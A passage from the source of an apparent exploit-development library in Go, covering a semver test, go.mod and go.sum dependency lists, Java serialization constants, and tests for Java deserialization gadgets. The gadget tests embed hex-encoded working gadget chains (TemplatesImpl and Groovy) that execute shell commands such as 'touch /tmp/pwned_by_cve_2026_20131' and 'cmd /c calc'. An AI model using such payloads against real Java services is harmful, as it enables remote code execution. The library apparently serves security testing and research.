", "<= 1.0.0") { t.Error("Version was invalid, should not have passed") } } func TestCheckSemVer_BadConstraint(t *testing.T) { if exploit.CheckSemVer("1.0.0", "<== 1.0.0") { t.Error("Constraint was invalid, should not have passed") } if exploit.CheckSemVer("1.0.0", "xp") { t.Error("Constraint was invalid, should not have passed") } } ================================================ FILE: go.mod ================================================ module github.com/vulncheck-oss/go-exploit go 1.26.1 require ( github.com/Masterminds/semver v1.5.0 github.com/antchfx/htmlquery v1.3.6 github.com/emiago/sipgo v1.1.2 github.com/google/uuid v1.6.0 github.com/icholy/digest v1.1.0 github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 github.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906 golang.org/x/crypto v0.49.0 golang.org/x/net v0.52.0 golang.org/x/sys v0.42.0 golang.org/x/text v0.36.0 modernc.org/sqlite v1.48.2 ) require ( github.com/antchfx/xpath v1.3.6 // indirect github.com/dustin/go-humanize v1.0.1 // indirect github.com/gobwas/httphead v0.1.0 // indirect github.com/gobwas/pool v0.2.1 // indirect github.com/gobwas/ws v1.4.0 // indirect github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da // indirect github.com/mattn/go-isatty v0.0.20 // indirect github.com/ncruces/go-strftime v1.0.0 // indirect github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect golang.org/x/sync v0.20.0 // indirect modernc.org/libc v1.70.0 // indirect modernc.org/mathutil v1.7.1 // indirect modernc.org/memory v1.11.0 // indirect ) ================================================ FILE: go.sum ================================================ github.com/Masterminds/semver v1.5.0 h1:H65muMkzWKEuNDnfl9d70GUjFniHKHRbFPGBuZ3QEww= github.com/Masterminds/semver v1.5.0/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= github.com/antchfx/htmlquery v1.3.6 h1:RNHHL7YehO5XdO8IM8CynwLKONwRHWkrghbYhQIk9ag= github.com/antchfx/htmlquery v1.3.6/go.mod h1:kcVUqancxPygm26X2rceEcagZFFVkLEE7xgLkGSDl/4= github.com/antchfx/xpath v1.3.6 h1:s0y+ElRRtTQdfHP609qFu0+c6bglDv20pqOViQjjdPI= github.com/antchfx/xpath v1.3.6/go.mod h1:i54GszH55fYfBmoZXapTHN8T8tkcHfRgLyVwwqzXNcs= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY= github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/emiago/sipgo v1.1.2 h1:JvLqEvqNSQm2mBX40qZ7O0WC3Ee67Z0UrfmBI7y6Beo= github.com/emiago/sipgo v1.1.2/go.mod h1:DuwAxBZhKMqIzQFPGZb1MVAGU6Wuxj64oTOhd5dx/FY= github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU= github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM= github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og= github.com/gobwas/pool v0.2.1/go.mod h1:q8bcK0KcYlCgd9e7WYLm9LpyS+YeLd8JVDW6WezmKEw= github.com/gobwas/ws v1.4.0 h1:CTaoG1tojrh4ucGPcoJFiAQUAsEWekEWvLy7GsVNqGs= github.com/gobwas/ws v1.4.0/go.mod h1:G3gNqMNtPppf5XUz7O4shetPpcZ1VJ7zt18dlUeakrc= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da h1:oI5xCqsCo564l8iNU+DwB5epxmsaqB+rhGL0m5jtYqE= github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc= github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e h1:ijClszYn+mADRFY17kjQEVQ1XRhq2/JR1M3sGqeJoxs= github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0= github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k= github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM= github.com/icholy/digest v1.1.0 h1:HfGg9Irj7i+IX1o1QAmPfIBNu/Q5A5Tu3n/MED9k9H4= github.com/icholy/digest v1.1.0/go.mod h1:QNrsSGQ5v7v9cReDI0+eyjsXGUoRSUZQHeQ5C4XLa0Y= github.com/lor00x/goldap v0.0.0-20180618054307-a546dffdd1a3/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8 h1:z9RDOBcFcf3f2hSfKuoM3/FmJpt8M+w0fOy4wKneBmc= github.com/lor00x/goldap v0.0.0-20240304151906-8d785c64d1c8/go.mod h1:37YR9jabpiIxsb8X9VCIx8qFOjTDIIrIHHODa8C4gz0= github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY= github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/ncruces/go-strftime v1.0.0 h1:HMFp8mLCTPp341M/ZnA4qaf7ZlsbTc+miZjCLOFAw7w= github.com/ncruces/go-strftime v1.0.0/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls= github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/stretchr/testify v1.9.0 h1:HtqpIVDClZ4nwg75+f6Lvsy/wHu+3BoSGCbBAcpTsTg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= github.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906 h1:qHFp1iRg6qE8xYel3bQT9x70pyxsdPLbJnM40HG3Oig= github.com/vjeantet/ldapserver v1.0.2-0.20240305064909-a417792e2906/go.mod h1:YvUqhu5vYhmbcLReMLrm/Tq3S7Yj43kSVFvvol6Lh6k= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc= golang.org/x/crypto v0.13.0/go.mod h1:y6Z2r+Rw4iayiXXAIxJIDAJ1zMW4yaTpebo8fPOliYc= golang.org/x/crypto v0.19.0/go.mod h1:Iy9bg/ha4yyC70EfRS8jz+B6ybOBKMaSxLj6P6oBDfU= golang.org/x/crypto v0.23.0/go.mod h1:CKFgDieR+mRhux2Lsu27y0fO304Db0wZe70UKqHu0v8= golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk= golang.org/x/crypto v0.49.0 h1:+Ng2ULVvLHnJ/ZFEq4KdcDd/cfjrrjjNSXNzxg0Y4U4= golang.org/x/crypto v0.49.0/go.mod h1:ErX4dUh2UM+CFYiXZRTcMpEcN8b/1gxEuv3nODoYtCA= golang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4= golang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= golang.org/x/mod v0.15.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/mod v0.34.0 h1:xIHgNUUnW6sYkcM5Jleh05DvLOtwc6RitGHbDk4akRI= golang.org/x/mod v0.34.0/go.mod h1:ykgH52iCZe79kzLLMhyCUzhMci+nQj+0XkbXpNYtVjY= golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= golang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg= golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c= golang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs= golang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg= golang.org/x/net v0.15.0/go.mod h1:idbUs1IY1+zTqbi8yxTbhexhEEk5ur9LInksu6HrEpk= golang.org/x/net v0.21.0/go.mod h1:bIjVDfnllIU7BJ2DNgfnXvpSvtn8VRwhlsaeUTyUS44= golang.org/x/net v0.25.0/go.mod h1:JkAGAh7GEvH74S6FOH42FLoXpXbE/aqXSrIQjXgsiwM= golang.org/x/net v0.33.0/go.mod h1:HXLR5J+9DxmrqMwG9qjGCxZ+zKXxBru04zlTvWlWuN4= golang.org/x/net v0.52.0 h1:He/TN1l0e4mmR3QqHMT2Xab3Aj3L9qjbhRm78/6jrW0= golang.org/x/net v0.52.0/go.mod h1:R1MAz7uMZxVMualyPXb+VaqGSa3LIaUqk0eEt3w36Sw= golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= golang.org/x/sync v0.3.0/go.mod h1:FU7BRWz2tNW+3quACPkgCx/L+uEAv1htQ0V83Z9Rj+Y= golang.org/x/sync v0.6.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/sync v0.20.0 h1:e0PTpb7pjO8GAtTs2dQ6jYa5BWYlMuX047Dco/pItO4= golang.org/x/sync v0.20.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.12.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= golang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.20.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA= golang.org/x/sys v0.42.0 h1:omrd2nAlyT5ESRdCLYdm3+fMfNFE/+Rf4bDIQImRJeo= golang.org/x/sys v0.42.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw= golang.org/x/telemetry v0.0.0-20240228155512-f48c80bd79b2/go.mod h1:TeRTkGYfJXctD9OcfyVLyj2J3IxLnKwHJR8f4D8a3YE= golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo= golang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8= golang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k= golang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo= golang.org/x/term v0.12.0/go.mod h1:owVbMEjm3cBLCHdkQu9b1opXd4ETQWc3BhuQGKgXgvU= golang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk= golang.org/x/term v0.20.0/go.mod h1:8UkIAJTvZgivsXaD6/pH6U9ecQzZ45awqEOzuCvwpFY= golang.org/x/term v0.27.0/go.mod h1:iMsnZpn0cago0GOrHO2+Y7u7JPn5AylBrcoWkElMTSM= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= golang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ= golang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8= golang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8= golang.org/x/text v0.13.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= golang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.15.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU= golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ= golang.org/x/text v0.36.0 h1:JfKh3XmcRPqZPKevfXVpI1wXPTqbkE5f7JA92a55Yxg= golang.org/x/text v0.36.0/go.mod h1:NIdBknypM8iqVmPiuco0Dh6P5Jcdk8lJL0CUebqK164= golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc= golang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU= golang.org/x/tools v0.13.0/go.mod h1:HvlwmtVNQAhOuCjW7xxvovg8wbNq7LwfXh/k7wXUl58= golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk= golang.org/x/tools v0.43.0 h1:12BdW9CeB3Z+J/I/wj34VMl8X+fEXBxVR90JeMX5E7s= golang.org/x/tools v0.43.0/go.mod h1:uHkMso649BX2cZK6+RpuIPXS3ho2hZo4FVwfoy1vIk0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools/v3 v3.5.1 h1:EENdUnS3pdur5nybKYIh2Vfgc8IUNBjxDPSjtiJcOzU= gotest.tools/v3 v3.5.1/go.mod h1:isy3WKz7GK6uNw/sbHzfKBLvlvXwUyV06n6brMxxopU= modernc.org/cc/v4 v4.27.1 h1:9W30zRlYrefrDV2JE2O8VDtJ1yPGownxciz5rrbQZis= modernc.org/cc/v4 v4.27.1/go.mod h1:uVtb5OGqUKpoLWhqwNQo/8LwvoiEBLvZXIQ/SmO6mL0= modernc.org/ccgo/v4 v4.32.0 h1:hjG66bI/kqIPX1b2yT6fr/jt+QedtP2fqojG2VrFuVw= modernc.org/ccgo/v4 v4.32.0/go.mod h1:6F08EBCx5uQc38kMGl+0Nm0oWczoo1c7cgpzEry7Uc0= modernc.org/fileutil v1.4.0 h1:j6ZzNTftVS054gi281TyLjHPp6CPHr2KCxEXjEbD6SM= modernc.org/fileutil v1.4.0/go.mod h1:EqdKFDxiByqxLk8ozOxObDSfcVOv/54xDs/DUHdvCUU= modernc.org/gc/v2 v2.6.5 h1:nyqdV8q46KvTpZlsw66kWqwXRHdjIlJOhG6kxiV/9xI= modernc.org/gc/v2 v2.6.5/go.mod h1:YgIahr1ypgfe7chRuJi2gD7DBQiKSLMPgBQe9oIiito= modernc.org/gc/v3 v3.1.2 h1:ZtDCnhonXSZexk/AYsegNRV1lJGgaNZJuKjJSWKyEqo= modernc.org/gc/v3 v3.1.2/go.mod h1:HFK/6AGESC7Ex+EZJhJ2Gni6cTaYpSMmU/cT9RmlfYY= modernc.org/goabi0 v0.2.0 h1:HvEowk7LxcPd0eq6mVOAEMai46V+i7Jrj13t4AzuNks= modernc.org/goabi0 v0.2.0/go.mod h1:CEFRnnJhKvWT1c1JTI3Avm+tgOWbkOu5oPA8eH8LnMI= modernc.org/libc v1.70.0 h1:U58NawXqXbgpZ/dcdS9kMshu08aiA6b7gusEusqzNkw= modernc.org/libc v1.70.0/go.mod h1:OVmxFGP1CI/Z4L3E0Q3Mf1PDE0BucwMkcXjjLntvHJo= modernc.org/mathutil v1.7.1 h1:GCZVGXdaN8gTqB1Mf/usp1Y/hSqgI2vAGGP4jZMCxOU= modernc.org/mathutil v1.7.1/go.mod h1:4p5IwJITfppl0G4sUEDtCr4DthTaT47/N3aT6MhfgJg= modernc.org/memory v1.11.0 h1:o4QC8aMQzmcwCK3t3Ux/ZHmwFPzE6hf2Y5LbkRs+hbI= modernc.org/memory v1.11.0/go.mod h1:/JP4VbVC+K5sU2wZi9bHoq2MAkCnrt2r98UGeSK7Mjw= modernc.org/opt v0.1.4 h1:2kNGMRiUjrp4LcaPuLY2PzUfqM/w9N23quVwhKt5Qm8= modernc.org/opt v0.1.4/go.mod h1:03fq9lsNfvkYSfxrfUhZCWPk1lm4cq4N+Bh//bEtgns= modernc.org/sortutil v1.2.1 h1:+xyoGf15mM3NMlPDnFqrteY07klSFxLElE2PVuWIJ7w= modernc.org/sortutil v1.2.1/go.mod h1:7ZI3a3REbai7gzCLcotuw9AC4VZVpYMjDzETGsSMqJE= modernc.org/sqlite v1.48.2 h1:5CnW4uP8joZtA0LedVqLbZV5GD7F/0x91AXeSyjoh5c= modernc.org/sqlite v1.48.2/go.mod h1:hWjRO6Tj/5Ik8ieqxQybiEOUXy0NJFNp2tpvVpKlvig= modernc.org/strutil v1.2.1 h1:UneZBkQA+DX2Rp35KcM69cSsNES9ly8mQWD71HKlOA0= modernc.org/strutil v1.2.1/go.mod h1:EHkiggD70koQxjVdSBM3JKM7k6L0FbGE5eymy9i3B9A= modernc.org/token v1.1.0 h1:Xl7Ap9dKaEs5kLoOQeQmPWevfnk/DM5qcLcYlA8ys6Y= modernc.org/token v1.1.0/go.mod h1:UGzOrNV1mAFSEB63lOFHIpNRUVMvYTc6yu1SMY/XTDM= ================================================ FILE: java/constants.go ================================================ package java // Constants required for the Java serialization protocol, as defined here: https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html#a9323 var ( StreamMagicCode = [2]byte{0xac, 0xed} StreamVersionCode = []byte{0x00, 0x05} ) /* "Terminal Codes", these indicate the "record" type that is about to be defined in the serialization stream. An example from the spec: newArray: TC_ARRAY classDesc newHandle (int) values[size] Where classDesc will also use it's own terminal codes depending on classDesc type: classDesc: newClassDesc nullReference (ClassDesc)prevObject // an object required to be of type ClassDesc newClassDesc: TC_CLASSDESC className serialVersionUID newHandle classDescInfo TC_PROXYCLASSDESC newHandle proxyClassDescInfo */ var ( TCNullCode byte = 0x70 TCReferenceCode byte = 0x71 TCClassDescCode byte = 0x72 TCObjectCode byte = 0x73 TCStringCode byte = 0x74 TCArrayCode byte = 0x75 TCClassCode byte = 0x76 TCBlockDataCode byte = 0x77 TCEndBlockDataCode byte = 0x78 TCResetCode byte = 0x79 TCBlockDataLongCode byte = 0x7A TCExceptionCode byte = 0x7B TCLongStringCode byte = 0x7C TCProxyClassDescCode byte = 0x7D TCEnumCode byte = 0x7E ) var ( SCWriteMethodCode byte = 0x01 SCBlockDataCode byte = 0x08 SCSerializableCode byte = 0x02 SCExternalizableCode byte = 0x04 SCEnumCode byte = 0x10 ) /* Primitive type definitions, used to define primitive field types. Information from the spec: primitiveDesc: prim_typecode fieldName prim_typecode: `B' // byte `C' // char `D' // double `F' // float `I' // integer `J' // long `S' // short `Z' // boolean */ var ( TypeByteCode byte = 0x42 // B TypeCharCode byte = 0x43 // C TypeDoubleCode byte = 0x44 // D TypeFloatCode byte = 0x46 // F TypeIntegerCode byte = 0x49 // I TypeLongCode byte = 0x4A // J TypeShortCode byte = 0x53 // S TypeBooleanCode byte = 0x5A // Z // OBJECT TYPES. TypeObjectCode byte = 0x4C // L TypeArrayCode byte = 0x5B // [ ) ================================================ FILE: java/gadget_test.go ================================================ // Tests for the Java gadgets, ALL GADGETS MUST HAVE A TEST package java import ( "fmt" "os" "testing" "github.com/vulncheck-oss/go-exploit/transform" ) func TestPackBigFloat(t *testing.T) { got := transform.PackBigFloat32(0.75) if fmt.Sprintf("%02x", got) != "3f400000" { t.Fatalf("Invalid PackBigFloat : %02x", got) } } func TestCreateGWT(t *testing.T) { os.Setenv("DEBUGMODE", "1") want := "aced00057704000000017400086772696454797065737200176a6176612e7574696c2e5072696f72697479517565756594da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400164c6a6176612f7574696c2f436f6d70617261746f723b7870000000027372002b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265616e436f6d70617261746f72e3a188ea7322a4480200024c000a636f6d70617261746f7271007e00024c000870726f70657274797400124c6a6176612f6c616e672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d70617261626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f757470757450726f706572746965737704000000037372003a636f6d2e73756e2e6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b000a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00054c00115f6f757470757450726f706572746965737400164c6a6176612f7574696c2f50726f706572746965733b78700000000000000000757200035b5b424bfd19156767db37020000787000000001757200025b42acf317f8060854e002000078700000033fcafebabe00000034001d0100044576696c070001010040636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f72756e74696d652f41627374726163745472616e736c65740700030100083c636c696e69743e0100032829560100116a6176612f6c616e672f52756e74696d6507000701000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0c0009000a0a0008000b010022746f756368202f746d702f70776e65645f62795f6376655f323032365f323031333108000d01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0c000f00100a000800110100063c696e69743e0c001300060a000400140100097472616e73666f726d010072284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010039636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f5472616e736c6574457863657074696f6e0700180100a6284c636f6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d417869734974657261746f723b4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c65723b2956010004436f646501000a457863657074696f6e730021000200040000000000040008000500060001001b00000016000200000000000ab8000c120eb6001257b1000000000001001300060001001b0000001100010001000000052ab70015b1000000000001001600170002001b0000000d0000000300000001b100000000001c000000040001001900010016001a0002001b0000000d0000000400000001b100000000001c00000004000100190000707400044576696c707701007871007e000e78" got, ok := CreateGWT("touch /tmp/pwned_by_cve_2026_20131") if !ok || fmt.Sprintf("%02x", got) != want { t.Fatalf("Invalid CreateGWT output... got (val, len: %d): %q got (hex): %02x want(hex, hexlen: %d): %s\n", len(got)*2, got, got, len(want), want) } } func TestCreateGroovy1(t *testing.T) { want := "aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737d00000001000d6a6176612e7574696c2e4d6170787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002c6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e766572746564436c6f7375726510233719f715dd1b0200014c000a6d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b7872002d6f72672e636f6465686175732e67726f6f76792e72756e74696d652e436f6e76657273696f6e48616e646c65721023371ad601bc1b0200024c000864656c65676174657400124c6a6176612f6c616e672f4f626a6563743b4c000b68616e646c6543616368657400284c6a6176612f7574696c2f636f6e63757272656e742f436f6e63757272656e74486173684d61703b7870737200296f72672e636f6465686175732e67726f6f76792e72756e74696d652e4d6574686f64436c6f73757265110e3e848fbdce480200014c00066d6574686f6471007e00097872001367726f6f76792e6c616e672e436c6f737572653ca0c76616126c5a0200084900096469726563746976654900196d6178696d756d4e756d6265724f66506172616d657465727349000f7265736f6c766553747261746567794c000362637774003c4c6f72672f636f6465686175732f67726f6f76792f72756e74696d652f63616c6c736974652f426f6f6c65616e436c6f73757265577261707065723b4c000864656c656761746571007e000b4c00056f776e657271007e000b5b000e706172616d6574657254797065737400125b4c6a6176612f6c616e672f436c6173733b4c000a746869734f626a65637471007e000b78700000000000000002000000007074000f636d64202f632063616c63